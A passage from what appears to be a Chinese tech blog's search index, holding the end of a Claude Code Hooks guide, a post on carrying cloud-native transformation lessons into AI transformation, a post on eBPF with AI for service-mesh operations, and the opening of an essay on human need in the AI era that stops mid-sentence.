前面的场景是\"做完了通知你\"和\"你忘了回来提醒你\"。这个场景反过来——Claude 想结束响应？先自检：代码改了吗？测试跑了吗？构建通过了吗？ 用 Stop hook 的 prompt 类型，让 LLM 自己审查本轮对话： { \"matcher\": \"\", \"hooks\": [{ \"type\": \"prompt\", \"prompt\": \"Review the last assistant response. If any code files were modified or created during this session: 1) Were tests run and did they pass? 2) Did the build succeed? 3) Were all user questions answered? If any check fails, return 'block:\u003creason\u003e' explaining what's still needed. If all pass, return 'approve'.\" }] } prompt 类型的好处是不需要你写复杂的检测脚本——让 LLM 自己判断。返回 block 就阻止 Claude 结束，它会被迫回去修。返回 approve 正常结束。 三个检查项可以按项目定制。如果是 Hugo 博客项目，检查改成\"文章能不能正常渲染\"；如果是 API 服务，改成\"接口能不能返回 200\"。本质是把\"完成标准\"写进规则里，让 Claude 自己对照检查。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:11","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"插件：Hooks 的打包形态 上面十一个场景都是自定义 Hook 脚本。但如果你留意过自己装的插件，会发现很多插件本质上就是打包好的 Hooks。 以你环境里实际跑着的为例： caveman 插件 — 两个 Hook 驱动： SessionStart — 会话启动时注入 caveman 模式提示词，压缩 Claude 输出风格 UserPromptSubmit — 每次提交消息时维持模式不退化，防止多轮对话后 Claude 恢复啰嗦 hookify 插件 — 自动化规则生成： Stop hook — 每次响应结束后分析对话，如果发现\"这个行为应该被禁止\"，自动建议创建新 Hook 规则。Hook 自己进化 Hook，元 Hook。 superpowers 插件 — 多 Hook 工作流编排： SessionStart → 把 Skill 的元信息（名称和描述）注入上下文，让 Agent 知道有哪些可用。完整 Skill 内容在 UserPromptSubmit 匹配到意图时才加载 UserPromptSubmit → 检测用户意图，自动匹配对应 Skill 并加载 Stop → 完成检查点验证，确保开发流程不跳步 你会发现这些插件做的事情和前面十一个场景本质上一样——Hook 拦截事件，注入逻辑。区别只在于插件把这些 Hook + Skills + 提示词打包好，你可以开箱即用；而自定义 Hook 脚本是给你最灵活的底层能力，配一次想怎么玩都行。 选插件还是自己写？简单法则：重复出现的通用流程 → 找插件。一次性特定需求 → 自己写 Hook。两者不互斥——插件管大流程，自定义 Hook 补边角。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:5:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"组合拳：推荐配置 从十一种场景里挑最值的七条，这是我的推荐： PreToolUse — 危险命令拦截 + 敏感文件保护（场景二 + 九，合并一条规则） PostToolUse — 自动格式化 + 审计日志（场景一 + 十） Notification + Stop — 本地桌面通知（场景三，Linux 桌面首选，不需要飞书等外部依赖） PostToolUse — 长任务飞书通知（场景四，改 Slack/钉钉同理） Stop — 空闲超时飞书通知（场景五） UserPromptSubmit — git 状态注入（场景六） Stop — 强制验证（场景十一，宽松起步） 远程审批（场景八）需要额外服务端，PreCompact（场景七）按需启用，先不放进基础配置。 全部配在 ~/.claude/settings.json，一次配置，所有项目生效。场景十一的 Stop 强制验证可以先从宽松规则开始——只检查\"测试跑没跑\"，不检查通过率——等 Claude 习惯了再收紧。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:6:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"注意事项 Hooks 脚本在 Claude Code 进程内同步执行（除非设置 parallel: true）。脚本出错不会影响 Claude Code 运行——exit 非零只是丢弃本次事件。但脚本卡死是可能的，务必加 timeout。 对于网络请求（飞书通知、日志上报），用 daemon 线程 + timeout 避免阻塞。 另外 Hooks 脚本的日志不会显示在 Claude Code 界面里——调试时写文件日志，或直接 python3 script.py 在终端单独跑。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:7:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"结语 Hooks 本质是把 Claude Code 从\"被动的对话工具\"变成\"可编程的自动化平台\"。如果说插件扩展了 Claude 的能力边界，那 Hooks 扩展的是工作流的自动化边界。 每个 Hook 脚本不超过 30 行代码，配一次，受益终身。试过飞书通知之后，你就回不去了。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:8:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"做过云原生转型的人天然适合搞AI转型——同样的剧本，不同的舞台。从说服高层到工具减负，从确定性思维到概率性拥抱，一个云原生老兵的转型观察。","date":"2026-05-25","objectID":"/posts/2026/05/25/cloud-native-to-ai-transformation/","tags":["ai","cloud-native","transformation","thoughts"],"title":"从云原生转型到AI转型，什么值得借鉴？什么需要摒弃？","uri":"/posts/2026/05/25/cloud-native-to-ai-transformation/"},{"categories":["Tech"],"content":"1895 年，Panhard \u0026 Levassor 造出第一批量产汽车1。不是在工厂从零设计的——他们把 Daimler 内燃机绑在传统马车的木头底盘下面。驭手座位还在，铁包木轮没换，只是马没了。同期 De Dion-Bouton 的\"蒸汽马\"也是一样的思路：发动机替代马，马车架原封不动。 1895 年 Tunbridge Wells 无马马车展。Daimler 内燃机绑在木头马车架下面——最早的汽车不是新车，是旧车换了个新引擎。 那画面不是笑话——那辆车真的跑起来了，而且跑出了汽车工业的第一步。但它也跑不远：木头车架扛不住内燃机振动，铁包木轮在今天的柏油路上会打滑，转向系统是为马设计的没有所谓的方向盘。当时那辆车除了没马很多方面还不如马车（高昂的价格、难以驾驭、跑得慢），真正的汽车是后来才出现的——钢制底盘、橡胶轮胎、方向盘——从零为发动机设计的车。 转型的隐喻不在\"往马车上装发动机\"，而在那之后发生了什么。 旧马车是你现有的研发体系——流程、工具链、组织分工，全部为\"人写代码\"设计的。发动机是 AI 能力——大模型、Agent、自动化决策。往马车上装发动机能跑一阵子，Panhard \u0026 Levassor 的马车就跑了——但木头车架扛不住长期振动，转向系统是给马设计的。你的老流程也一样：硬塞 AI 进去，初期有点效果，但评审机制、测试体系、SLO 定义全是给\"人写代码\"设计的，撑不久。 我们得先造辆新车——建一个从零设计的 AI Native 试点，用新流程、新工具、新角色。跑通了，再把客人和货物一批批拉过去。同时修路——算力、电力、工具链。路不通，再好的车也跑不起来。 我搞云原生转型时，从荔枝微课（即十方融海）到腾讯音乐，推过云原生、Devops等，也推过服务网格乃至扩展，和这画面内核一样。现在推 AI 转型，还是熟悉的画面。 ","date":"2026-05-25","objectID":"/posts/2026/05/25/cloud-native-to-ai-transformation/:0:0","tags":["ai","cloud-native","transformation","thoughts"],"title":"从云原生转型到AI转型，什么值得借鉴？什么需要摒弃？","uri":"/posts/2026/05/25/cloud-native-to-ai-transformation/"},{"categories":["Tech"],"content":"借鉴什么 最近看了锅总一篇讲 AI 组织转型的文章2，他把传统研发团队一步步改成 AI Native 团队，分了十一步。读到一半我就笑了——这剧本我见过。同一条曲线，只不过我当年的关键词是容器、K8s、服务网格，他的是 Agent、Prompt、模型适配。 第一条，搞定人。 锅总从灌 CEO 焦虑开始。我当年接手荔枝微课基础架构时，也是想通过焦虑来说服他人，但老板已经被事故搞到头大了，我一说想法就一拍即合。但不管从哪起步，后面一样：技术选型可以慢慢调，人的阻力不解决，全是死路。 云原生时代开发者的阻力是\"又要学 YAML？又要学容器？“AI 时代的阻力更深——“AI 写的代码我不敢用”、“我会不会被替代？“锅总踩过一个坑：有人提示词写得不好，产物质量差，于是更不信任 AI，更不愿意用——恶性循环。他只能一对一纠偏，坐过去教。这和我当年一模一样，有人被 YAML 缩进搞疯一次就再也不想碰 K8s，你也得一对一陪着改。 我还有个做法是往多里拉盟友。招进来的人要有相同的理念，从外部拉做推广的人做背书。管理层先上手体验，各种场合渲染\"以前部署要准备三天现在几秒钟”，但少提\"转型\"两个字——东西好用，大家自然就用了。 搞过转型的人懂这个节奏：什么时候推，什么时候等，什么时候让数据说话。焦虑是正常的，关键不是消除焦虑，而是给出一条能走的路。 第二条，工具减负是转型的生命线。 当年我在荔枝微课自己做过一个功能强大的平台，但很多人的反馈并不好，后来听取意见和团队推了一个 CLI，可以让开发一键创建、切换或协调占用集群里的分支测试环境。不解决\"多人共用环境互相踩踏\"的问题，开发永远不会觉得云原生帮到了他们。工具的意义不只是功能多强，更是让开发者少操一份心，我们说的减少心智负担。 AI 时代完全一样，而且工具链的缺口更大。我前段时间用 AI 对前公司的一个用于AI安全沙盒的开源项目 TenBox 贡献了几次提交，其中有一部分是windows端的，就发现 AI 对网页可以自动截图、操作元素，但对 Windows 窗口就不太行（当时不太行，后面马上就有 AI Agent 支持了）。理想状态是让 AI 通过 MCP 工具直接理解系统窗口、浏览器的渲染状态，不依赖截图——让 AI 掌控整个测试链路的感知和操作，人只做最终抽查验收。 同样的困境换个形式出现。测试用例过度冗余——一个表单 100 个字段，AI 硬是生成 400 条用例，逻辑没毛病但根本测不过来。UI 不一致也没解决——AI 看不到页面，生成的界面和预期差很远。我们搭 Harness 干什么？标准化流程，降低门槛，让团队能协作——和我当初把强大的基础架构功能简化成 CLI 入口的理由一模一样。 第三条，布道师和教练，同一个角色。 推云原生必须有 Cloud Native、DevOps 布道师之类的角色——懂技术、懂业务、能讲课、能答疑。锅总自称\"AI 教练”，试点阶段全程参与但不介入具体开发，试点完了建三套培训体系，持续做、一直做。同一个角色：“选试点、带人上手、沉淀最佳实践、解决’我知道概念但不知道怎么落地’\"。我当年推云原生就是每月一次技术分享，每次找一个落地案例。 变的是技术栈，不变的是把一群人从\"我不懂\"带到\"我试试\"再带到\"我用得很顺手”。 第四条，全链路思维可以平移。 云原生讲究全链路——监控、追踪、压测。服务网格，Sidecar 拦截流量、控制面下发策略，本质上都是在完整链路上做文章。现在我用 Harness 组织多 Agent 做全链路 RCA——把全链路的上下文塞给 AI，让它自己沿链路找根因。能做这件事倒不是因为我对 AI 有多熟，而是云原生年代我就习惯这么思考问题了。 其实当年就有 AIOps 的概念，理念完全正确，只是 AI 不够强。现在大模型能力够了，同一批人，同一个思路，换了更强的引擎。全链路不只是技术概念，也是组织概念——锅总的 5 人 FDE 小组端到端交付，和云原生的跨职能全栈小队如出一辙。 存量适配。 我在 腾讯音乐 做服务网格，不是从零搭建，是在已有发布系统、权限模型、网络策略上长出一层，还要适配内部专有协议。不能推倒重来，只能在老房子上加固，有时其实比从0开始更难。锅总的棕地项目试点就是 AI 转型版的存量适配——历史代码、历史数据、老文档对不上，你不是在白纸上画图。 第五条，持续演进，不是一次性项目。 我那篇《荔枝微课基础架构的演进与实践》3，标题里就有\"演进\"两个字。架构不是搞完一次就收工。锅总的 Harness 每天都在修——今天变更管理没覆盖到，明天测试用例太慢，后天换了模型 Prompt 不工作。不是 Harness 没搭好而是必须随场景演进。 云原生教会我的不是某个工具，而是\"体系随场景演进\"这个习惯。带着它进入 AI 时代，你不会被模型版本更新吓到，因为你早就习惯变化了。 ","date":"2026-05-25","objectID":"/posts/2026/05/25/cloud-native-to-ai-transformation/:1:0","tags":["ai","cloud-native","transformation","thoughts"],"title":"从云原生转型到AI转型，什么值得借鉴？什么需要摒弃？","uri":"/posts/2026/05/25/cloud-native-to-ai-transformation/"},{"categories":["Tech"],"content":"摒弃什么：旧车架撑不住新引擎 借鉴的清单不短。但有些东西硬搬到 AI 时代，会变成坑。 云原生是确定性系统。K8s 声明 3 个副本就保证 3 个在跑——声明式配置、不可变基础设施、自动化回滚，全部基于\"目标精确可知\"这个前提。控制循环持续调和期望与实际，趋近的是可精确测量的目标。 AI 是概率性系统。同一套 skill 在不同模型上表现天差地别，Prompt 改几个字结果面目全非。你无法声明\"这个 prompt 的幻觉率 ≤ 1%“并靠一个控制循环保证它。 但控制循环的思路可以平移。eval loop 就是 AI 版的控制循环：观察输出、对比期望、修正偏差。能借鉴的是这个循环模式。 不能硬套的是测量精度。K8s 调和的是副本数、CPU、延迟——可精确计数的量。AI 调和的是代码质量、幻觉率、功能遗漏——边界模糊、不可精确计数的量。如果你用 K8s 的精确 SLO 标准去管 AI 产出，你会疯的。并非思路错了，而是尺子不对。 具体几条，都是我以前推云原生时觉得天经地义、到了 AI 时代发现必须扔掉的： 不可变基础设施 → 持续迭代。 云原生讲究\"一次构建，到处运行”。AI 系统里 Prompt 在持续优化，模型版本在切换，工具链每天都在修。锅总一开始\"先写 PRD 再画原型”，实操发现根本行不通，只能反过来加需求澄清。我在我的多智能体项目里调 Agent 时完全一样：今天能跑的 Prompt 可能明天换了模型就不工作，你没法一次设计到位，只能在运行中持续改。这和存量适配是一个道理——不是放弃治理，而是把治理从\"锁定\"变成\"持续调\"。 可观测三支柱 → AI 原生评估。 Metrics、Logs、Traces 能告诉你延迟涨没涨、错误飙没飙，但不能告诉你 AI 生成代码质量有没有下降、幻觉率有没有上升。锅总的数据：bug 率提高了约 60%，但 bug 类型完全翻转——以前占大头的是逻辑错误和体验问题，现在占大头的是功能遗漏和 UI 不一致。传统监控根本看不到这些。 测试金字塔 → 要重画。 传统三层是为\"人的 bug\"设计的。锅总试了 TDD、Mock、集成、E2E、文档测试全上，质量还是不如预期。AI 的专属 bug——功能遗漏、细节对不上——在规格文档里明明写了，代码出来要么漏了要么跑偏。传统测试逮不住这种。 SLO 定义 → 要变。 云原生用延迟百分位、可用性几个九，精确。AI 质量边界是模糊的——“重要和核心的 bug 其实很少，一般性问题特别多”。你不能用\"零 P0\"这种目标管 AI 产出，得重新定义什么叫可接受的质量。 把这些列在一起看，本质是同一个转变：别试图把概率性系统塞进确定性框架里。 那不是提效，是给自己找罪受。 ","date":"2026-05-25","objectID":"/posts/2026/05/25/cloud-native-to-ai-transformation/:2:0","tags":["ai","cloud-native","transformation","thoughts"],"title":"从云原生转型到AI转型，什么值得借鉴？什么需要摒弃？","uri":"/posts/2026/05/25/cloud-native-to-ai-transformation/"},{"categories":["Tech"],"content":"转向哪里：还没修完的路 还有些问题，锅总没解决，我也没解决，行业里没人有完整答案。Harness 搭好了流程，但在流程的每个节点——评估标准定在哪、SLO 怎么设、多人协作下变更怎么管——工程平台能执行，不能替你决策。方向可以说，也是我每天都在尝试的东西： 确定性编排 → 拥抱概率性。 用 eval loop 代替控制循环，接受\"够好\"而不是\"精确\"。换模型 Prompt 不工作就得重新调试，这不是 bug，而是新常态。 三支柱 → AI 原生评估。 建 eval dataset、做 prompt regression test、分层抽查。重点盯功能遗漏和 UI 不一致——这些 AI 专属 bug 传统测试逮不住。 不可变基础设施 → 持续迭代治理。 Prompt 版本管理，模型切换策略。专门设人做模型适配——这个角色云原生时代没有，AI 时代必须有。 传统 SLO → AI 质量 SLO。 定义幻觉率、功能遗漏率、UI 偏差度。有模糊指标比没有指标强一万倍。 开发自测 → AI 测 AI + 人工抽查。 代码生成太快，只靠人盯不过来。让 AI 掌控测试闭环，人只做最终质量判断。 代码 review → 规格 review。 AI 生成代码太快，代码层面查不过来。但文档层面严格把关：feature 规格、接口设计、DB schema。因为 AI 的 bug 主要是\"漏了该做的\"和\"做了不该做的\"，不是\"写得不对\"。 回过头看，我当年在荔枝微课造了一辆云原生牌的新车——K8s 是底盘，自研平台是驾驶舱，服务网格是悬挂。现在搞 AI Native，我在造另一辆：Agent 编排是底盘，大模型是引擎，MCP Tool 是手脚，质量评估是仪表盘加刹车。 云原生和 AI 都踩过一遍，才知道哪些能搬、哪些得扔。两次造车，同一个人。工具变了，问的问题没变：这辆车能不能跑起来？路修到哪了？客人什么时候上车？ 锅总的十一步，我基本都走过，只不过当年走的是云原生的版本。现在再走一遍 AI 的版本——这次不再是给马车装发动机，而是造一辆新车。 参考资料 1895 年 Tunbridge Wells 无马马车展——Grace’s Guide；Panhard \u0026 Levassor 历史——Wikipedia ↩︎ 硅基锅总《组织转型实录——我把传统研发团队改成AI驱动，踩了无数坑》 ↩︎ whitefirer 《荔枝微课基础架构的演进与实践》 ↩︎ ","date":"2026-05-25","objectID":"/posts/2026/05/25/cloud-native-to-ai-transformation/:3:0","tags":["ai","cloud-native","transformation","thoughts"],"title":"从云原生转型到AI转型，什么值得借鉴？什么需要摒弃？","uri":"/posts/2026/05/25/cloud-native-to-ai-transformation/"},{"categories":["Tech"],"content":"Sidecar 太重，Ambient 还不够。eBPF 把可观测性推到内核态，AI 帮你解读海量内核数据——两者结合，可能重新定义服务网格的智能运维。","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"服务网格走过了两个阶段。第一个阶段是 Sidecar——每个 Pod 挂一个 Envoy，接管流量，上报指标。做得漂亮，但代价不小。第二个阶段是 Sidecarless——Istio Ambient 把 L4 治理下沉到 ztunnel，Cilium 用 eBPF 替代 kube-proxy，试图把 Sidecar 的尾巴砍掉。 但一个问题一直没变：可观测性数据越来越大，人能消化的没变多。 ","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/:0:0","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"Sidecar 的账，还没算完 Sidecar 模式被诟病最多的是资源开销。每个 Pod 跑一个 Envoy 代理，CPU 和内存线性增长。Ambient 和 Cilium 的回应是：把数据面逻辑尽可能压到内核态，消除每 Pod 代理的开销。 这解决了计算成本的问题。但没解决认知成本的问题。 一个中等规模的服务网格集群，每秒钟产生的追踪和指标数据量可以轻松超过人类运维的读取速度。就算节点上没有 Sidecar 了，数据量依然在。你用 Grafana 盯几个面板还行，但要在几千条 trace 里找到一根异常链路——你做不到，eBPF 也不行。 ","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/:1:0","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"eBPF 改变的不是数据量，是数据的深度 eBPF 的杀手级能力不是\"快\"，是它能看到以前看不到的东西。 Sidecar 代理只能看到 L7 的请求和响应。eBPF 能直接挂载到内核函数——系统调用、网络栈、文件 I/O、进程调度。它不仅知道\"这个请求延迟 200ms\"，还知道这 200ms 里有多少花在 CPU 等待上、有多少卡在磁盘 I/O 上、有多少是因为内核调度把进程踢出去了。 这些信息 Sidecar 永远拿不到，因为代理跑在用户态，看不到内核态在干什么。eBPF 把可观测性的天花板从\"应用层\"推到了\"系统层\"。 但也带来了一个新问题：数据的维度翻了不止一倍。 以前你看的是 request latency、error rate、throughput。现在你还要看 syscall distribution、kernel stack trace、CPU runqueue latency、page cache hit ratio——每个维度都可能藏着一个性能异常的根因，但人根本不可能同时盯这么多维度。 ","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/:2:0","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"AI 不是替代可观测，是帮你读可观测 这正是大模型能接手的部分。 传统 APM 用阈值告警——延迟超过 500ms 就报警。阈值的问题是：你提前不知道正常值是多少。凌晨三点的 CPU 飙 20% 可能是定时任务，上午十点飙 15% 可能是翻车前兆。阈值猜不到，人能猜，但人一天不会看二十四小时面板。 大模型能。把 eBPF 采集的内核级数据流——系统调用分布、内核栈采样、TCP 重传率、调度延迟——喂给大模型，让它做两件事： 异常模式发现。 不靠固定阈值。大模型在某段时间序列上训练出\"正常\"的统计分布，偏离就标记。eBPF 数据维度多，AI 的强项恰好是多维模式的归纳。 根因推理。 这是传统 APM 完全做不到的。报警告诉你\"延迟涨了\"，AI 能告诉你\"因为某 Pod 的 cgroup 被 throttle 了——看，这 30 秒 CPU quota 用尽，对应那段时间的请求全在等调度。“这种跨层的因果链：L7 延迟异常 → L4 TCP 重传升高 → L1 CPU 调度饥饿——只有 eBPF 能同时抓到这三层数据，只有 AI 能把它们串成一条线。 ","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/:3:0","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"从 Sidecarless 到 Operatorless 如果你接受\"AI 能读 eBPF 数据\"这个前提，接下来的推演是自然的：AI 不仅能诊断，还能决策。 一个自治循环大概是这样的： eBPF 采集：系统调用、网络栈、调度延迟 ↓ 大模型分析：异常模式发现 + 根因推理 ↓ 策略决策：限流？切换上游？回滚版本？ ↓ 执行：通过 eBPF 或 Envoy xDS 下发策略 ↓ eBPF 验证：策略生效？指标恢复正常？ ↓ 反馈回大模型，持续学习 Cilium 已经在用 eBPF 做 L3/L4 的策略执行了。Istio Ambient 的 ztunnel 也是类似的方向。但如果把\"决策\"从控制面抽出来交给大模型，就变成了——你不再需要运维手动设置限流阈值、不再需要人工判断什么时候切流量、不再需要凌晨三点爬起来盯着面板等第二个告警。 从 Sidecarless（没有 Sidecar）到 Operatorless（不需要人值班）。 这个跳跃比 Ambient 到 Sidecar 更大。 ","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/:4:0","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"现实：路还没修好 说实话，现在还到不了这一步。几个硬问题摆着： eBPF 的探针还不稳定。 内核版本差异、BTF 兼容性、CO-RE 的覆盖范围——这些在实验室里能跑，生产环境一堆边缘 case。挂载一个 kprobe 导致内核 panic 不是没发生过。 大模型的实时性不够。 eBPF 数据流是毫秒级的，大模型推理是秒级的。中间需要一层流式聚合和摘要，不然 AI 还没读完最新数据，故障已经扩散了。 决策的可解释性。 让 AI 直接改网络策略是危险的。至少需要一层人在回路——AI 推荐，人审批，再执行。这个审批窗口可能成为瓶颈。 但这些是工程问题，不是原理问题。方向已经清晰了——数据往下沉（eBPF），决策往上升（AI），人从操作者变成审批者。 ","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/:5:0","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"为什么值得做 回到服务网格本身。Istio 做了七年，核心架构没怎么变——控制面 Istiod 下发配置，数据面 Envoy 执行策略。Ambient 把 L4 下沉了，但你和服务网格的交互方式没变：写 YAML，看面板，调阈值。 eBPF + AI 有可能改变这个范式。你不再写限流规则——你告诉 AI\"这个服务要保证 99.9% 的 SLO”，AI 自己调参数。你不再盯着 Grafana——AI 把异常提炼成一句话：“订单服务延迟升高，根因是支付网关连接池耗尽，建议扩容支付网关。” 这和你当年推服务网格时做的事是同一个方向：把人的重复决策变成自动化的系统决策。 只不过当时的工具是 Sidecar 和 Istiod，现在的工具是 eBPF 和 LLM。 内核在变，模型在变，方向没变。 ","date":"2026-05-15","objectID":"/posts/2026/05/15/ebpf-ai-service-mesh/:6:0","tags":["tech","ebpf","service-mesh","ai","observability"],"title":"Sidecarless 之后：eBPF + AI，服务网格的下一站","uri":"/posts/2026/05/15/ebpf-ai-service-mesh/"},{"categories":["Tech"],"content":"Attention 改写了 AI，Need 能不能改写我们对 AI 的焦虑？从 Transformer 论文的命名精神出发，拆解 need 的起源、自驱力的燃料，以及为什么在 AI 时代 need 是人最后的护城河。","date":"2026-05-13","objectID":"/posts/2026/05/13/need-is-all-you-need/","tags":["ai","creativity","thoughts"],"title":"Need Is All You Need","uri":"/posts/2026/05/13/need-is-all-you-need/"},{"categories":["Tech"],"content":"2017 年，一篇论文的标题震动了 AI 圈。五个单词，没一个多余：Attention Is All You Need。 当时没有人会知道，这句话会改写整个行业的底层架构。Transformer 扔掉了 RNN，扔掉了 CNN，只留下了一个机制——Attention。砍掉所有\"看起来必不可少\"的东西之后，剩下的那个，反而更强。 从论文标题到网络梗——一句话的两种命运。 这个命名里有一种罕见的智力自信：我知道什么不重要，什么才是核心。我只留那个核心。 九年后的 2026 年，我们面对的不再是\"AI 够不够强\"的问题。Opus 4.7 能写几千行代码不出 bug，Sonnet 能在几十个领域做远距离知识连接，Haiku 快到人类跟不上。AI 的能力层——推理、编码、执行、解决问题——正在被全面覆盖。 焦虑也变了。AI 会不会替代我——这个问题已经没有悬念了。真正的问题是：我到底还剩什么。 所有线索指向同一个源头：AI 能做事，但不知道要做什么。 如果让我用一句话回答\"人还剩什么\"，我会致敬那篇论文的标题—— Need Is All You Need。 不是 attention，是 need。不是\"关注什么\"，是\"需要什么\"。不是外部指令，是内在驱动。不是能力问题，是方向问题。 ","date":"2026-05-13","objectID":"/posts/2026/05/13/need-is-all-you-need/:0:0","tags":["ai","creativity","thoughts"],"title":"Need Is All You Need","uri":"/posts/2026/05/13/need-is-all-you-need/"},{"categories":["Tech"],"content":"Need 从哪里来 先说清楚什么是 need。 不是用户说出来的需求。福特造汽车之前，所有人只会说\"要更快的马\"。盯着嘴上的需求做产品，永远在做功能清单式微创新，错过范式跃迁。iPhone 出来前没人\"需要\"多点触控，React 出来前没人\"需要\"虚拟 DOM，Transformer 出来前连这个词都没人听过。 真正的 need 在你的体验里，不在用户的嘴里。 分三层看： 生存层。 饿了要吃，冷了要穿，不安全要保护。身体告诉你的，动物也有。这是 need 的基底，但不是区分人的东西。 不适层。 一个工具太慢、一个流程太蠢、一段代码太丑。你动手用过，被折磨过，身体记住了那种不爽。这东西分析不出来，是身体记住的\"这不对\"。 2026 年最火的词叫 OPC——一人公司。一个人 + AI = 一家公司。AI 漫剧赛道是 OPC 的缩影：赚到钱的多数不是技术出身。据澎湃新闻等媒体报道1，高位截瘫的前石油技工自学 AI 视频软件，每天干十小时，最高一条视频近 6 万赞。小学三年级辍学的理发师认不全汉字，靠豆包翻译英文软件做 AI 短剧。工厂临时工辞了工作全职做 AI 剧，赚了两三万，计划还清二十万网贷。 其中没一个人会写代码。 最经典的案例是《丧尸清道夫》2。云南一个中专毕业的摄影师，专业是内燃机车驾驶，不是影视制作。他用国产 AI 工具 Seedance，花 10 天、3000 块钱，一个人做出了一部 3 分 34 秒的原子朋克科幻短片。无对白，纯镜头叙事。抖音 4600 万播放，B 站 7.8 万投币，海外 1200 万播放。好莱坞制片人在 X 上发\"跨国寻人启事\"：同等品质在 AI 前要 50 万美元 + 6 个月。他笑称：“现在我在好莱坞有个朋友了。” 3000 块。你没看错，不是 3000 万。 《丧尸清道夫》——10天，3000块，一个人。原子朋克美学，无对白纯镜头叙事。 再看另一边，据钛媒体等报道3，成都 31 岁架构师从大厂离职做一人公司，上线两个产品，零用户零反馈。杭州产品经理用 AI 两小时做完以前一个月的工作量，一口气做了四款产品——全部无人使用，公司账上剩 986 块。深圳十年程序员折腾一年，支付通道都没开，零付费用户，最终回归职场。 同一种工具，两种结果。不是因为技术差距——架构师比理发师更会用 AI。而是因为对 need 的认知差距：理发师知道自己要什么——做视频、涨粉、接广告。架构师做了一个没人需要的产品，因为他不知道谁需要什么。 不适层的 need 没法外包给 AI。AI 不会在一个产品的表单前被卡住三次然后骂\"这什么傻逼设计\"。它没有\"被烦透\"这个能力。 存在层。 这是最深的一层。这不是你分析出来的，而是亲身体验来的。 2026 年 6 月，瑞幸咖啡上线 AI 开放平台——支持 MCP、CLI、Skill 三种接入方式。口号是\"用 Token 点咖啡\"。你在千问 App 里说一句\"推荐一杯热的带奶的咖啡\"，AI 自动匹配优惠券、选最近门店、完成下单。肯德基、蜜雪冰城、东方航空同步接入。4 一家咖啡公司做了 AI 开放平台。瑞幸的 need 不复杂——让消费者在任何 AI 助理里都能点到咖啡。技术只是手段。 瑞幸 AI 开放平台——用 Token 点咖啡。不是技术公司，做了技术公司没做的事。 相比之下，百川智能创始人王小川账上还有 30 亿现金，却公开说\"突然不知道自己在干嘛、在创造什么价值\"。他从 2023 年开始做大模型，是\"六小虎\"之一，两年后发现不知道自己解决的是谁的什么问题。公司转向医疗垂直领域。 李开复的零一万物曾是\"最像中国 OpenAI\"的公司。2025 年上半年放弃超大模型预训练，团队空了三分之一。李开复开始亲自跑客户、研究企业财报，不再参与排位竞赛。2026 年冲刺 20 亿营收。他的自嘲：“别叫六小虎了，该叫金钱豹。”5 更扎眼的反面是钉钉 ONE。2026 年 6 月，钉钉前产品经理发了一篇 7.5 万字的离职文《置身钉内》6，复盘这个 DAU 曾冲至 300 万的旗舰 AI 项目的死亡全程。“望舒行动\"派人盯着竞品飞书的熄灯时间，对面灯火不熄己方不得离岗。CEO 凌晨巡视办公区，次日批评所有部门。每日晚会一度安排在晚上十点，请假即打 B-。 300 万 DAU，不到一年萎缩到被迫拆分。钉钉副总裁马锐拉随后发文《置身钉外》回应：“那种高压，那种努力之后没有结果，那种频繁汇报、高速迭代、不见起色的循环，我知道。“阿里巴巴合伙人委员会罕见公开发帖：“这不是阿里文化该有的样子。“2026 年 6 月 11 日，钉钉 CEO 